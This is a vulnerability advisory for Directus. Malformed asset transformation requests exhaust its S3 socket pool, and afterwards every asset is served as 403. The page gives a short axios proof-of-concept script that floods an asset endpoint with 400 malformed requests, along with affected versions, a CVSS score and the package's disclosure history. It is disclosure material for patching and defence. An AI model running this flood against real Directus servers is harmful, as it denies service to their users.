Directus's S3 assets become unavailable after a burst of malformed transformations
Summary
When making many malformed transformation requests at once, at some point, all assets are being served as 403.
Details
When I was investigating this issue, I have found that after a burst of malformed asset transformation requests, the amount of sockets held on Agent on NodeHttpHandler was always equal to STORAGE_CLOUD_MAX_SOCKETS making it impossible to have new connections causing assets to be inaccessible.
After looking into this issue on AWS SDK I found that if the stream is requested, it needs to be consumed otherwise will hang forever. And as can be seen here the stream is not consumed, because sharp will throw an error on the invalid arguments. For example ?height=xyz
The timeouts set here had no noticeable effect on tests made.
PoC
This can be easily reproduced with the following steps:
- setup AWS S3 storage
- set STORAGE_CLOUD_MAX_SOCKETS: "50" (this value is lower than default for easier reproduction)
- upload a file to your project
- run this file (Replace the the file ID with the one you just uploaded):
import axios from "axios";
async function start() {
Array.from({ length: 400 }, (_, i) => {
axios
.get(
"http://localhost:8055/assets/e536aa35-3a81-4fa9-b856-3780584d38d8?width=100&height=XYZ"
)
.then(() => console.log("✅"))
.catch((e) =>
console.log("⛔", e.response?.status || e.code || e.message)
);
});
}
start();Here's an example:
https://github.com/user-attachments/assets/7f5a6f51-1c51-4d4d-aa4f-c4953e91714c
Impact
This causes denial of assets for all policies of Directus, including Admin and Public.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | directus | >= 9.22.0, < 11.5.0 | 11.5.0 |
| npm package | @directus/storage-driver-s3 | >= 9.22.0, < 12.0.1 | 12.0.1 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L- Weakness (CWE)
CWE-770- Platform
- npm
- Package
directus, @directus/storage-driver-s3- Disclosed
- 26.03.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-j8xj-7jff-46mx - CC BY 4.0
Vulnerability history: directus
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 58
- First → latest
- 04.2022 07.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 19
- Medium 34
- Low 3
Disclosures per year
- 2022: 4
- 2023: 8
- 2024: 14
- 2025: 17
- 2026: 15
-
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